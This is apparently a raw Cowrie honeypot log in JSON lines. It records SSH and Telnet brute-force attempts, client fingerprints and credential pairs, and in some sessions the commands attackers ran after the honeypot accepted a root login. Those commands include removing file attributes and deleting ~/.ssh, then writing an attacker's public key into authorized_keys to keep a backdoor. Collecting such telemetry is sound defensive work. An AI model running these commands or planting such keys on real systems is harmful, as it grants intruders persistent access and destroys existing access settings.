{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:43.607825Z","src_ip":"2.57.122.210","session":"53a2d2bb982c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:43.907923Z","src_ip":"2.57.122.210","session":"53a2d2bb982c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:45.009581Z","src_ip":"2.57.122.210","session":"53a2d2bb982c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":56744,"dst_ip":"159.203.135.109","dst_port":23,"session":"4033310d0035","protocol":"telnet","message":"New connection: 130.12.180.174:56744 (159.203.135.109:23) [session: 4033310d0035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:56:17.546373Z"}
{"eventid":"cowrie.session.closed","duration":0.5042636394500732,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:56:18.050531Z","src_ip":"130.12.180.174","session":"4033310d0035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51130,"dst_ip":"159.203.135.109","dst_port":22,"session":"006fef245e1c","protocol":"ssh","message":"New connection: 195.178.110.218:51130 (159.203.135.109:22) [session: 006fef245e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:03.995392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:03.999940Z","src_ip":"195.178.110.218","session":"006fef245e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:04.079249Z","src_ip":"195.178.110.218","session":"006fef245e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:04.319308Z","src_ip":"195.178.110.218","session":"006fef245e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:05.401980Z","src_ip":"195.178.110.218","session":"006fef245e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":44646,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c82101541d0","protocol":"ssh","message":"New connection: 45.162.8.14:44646 (159.203.135.109:22) [session: 9c82101541d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:13.710132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:13.716327Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:13.829615Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"third","message":"login attempt [root/third] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.336287Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.609258Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.612503Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.615942Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.735784Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:14.999048Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.002543Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.122228Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.126342Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"be8897247dfa","protocol":"ssh","message":"New connection: 45.162.8.14:44948 (159.203.135.109:22) [session: be8897247dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.232537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.238151Z","src_ip":"45.162.8.14","session":"be8897247dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.356433Z","src_ip":"45.162.8.14","session":"be8897247dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:15.810893Z","src_ip":"45.162.8.14","session":"be8897247dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:16.935054Z","src_ip":"45.162.8.14","session":"be8897247dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":45296,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb93490106bd","protocol":"ssh","message":"New connection: 45.162.8.14:45296 (159.203.135.109:22) [session: eb93490106bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.044933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.054035Z","src_ip":"45.162.8.14","session":"eb93490106bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.165457Z","src_ip":"45.162.8.14","session":"eb93490106bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.624264Z","src_ip":"45.162.8.14","session":"eb93490106bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.744760Z","src_ip":"45.162.8.14","session":"9c82101541d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:17.747882Z","src_ip":"45.162.8.14","session":"eb93490106bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58942,"dst_ip":"10.17.0.5","dst_port":22,"session":"a046081e59b3","protocol":"ssh","message":"New connection: 2.57.122.210:58942 (10.17.0.5:22) [session: a046081e59b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:59.357100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:59.361276Z","src_ip":"2.57.122.210","session":"a046081e59b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:59.465998Z","src_ip":"2.57.122.210","session":"a046081e59b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"123456","message":"login attempt [eigen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:57:59.836601Z","src_ip":"2.57.122.210","session":"a046081e59b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:00.945169Z","src_ip":"2.57.122.210","session":"a046081e59b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.193.234.210","src_port":59484,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2df04bb1cec","protocol":"ssh","message":"New connection: 113.193.234.210:59484 (159.203.135.109:22) [session: e2df04bb1cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:24.081207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:24.085373Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:24.299273Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r5t!@#","message":"login attempt [root/1q2w3e4r5t!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:25.187308Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:25.635524Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:25.638957Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
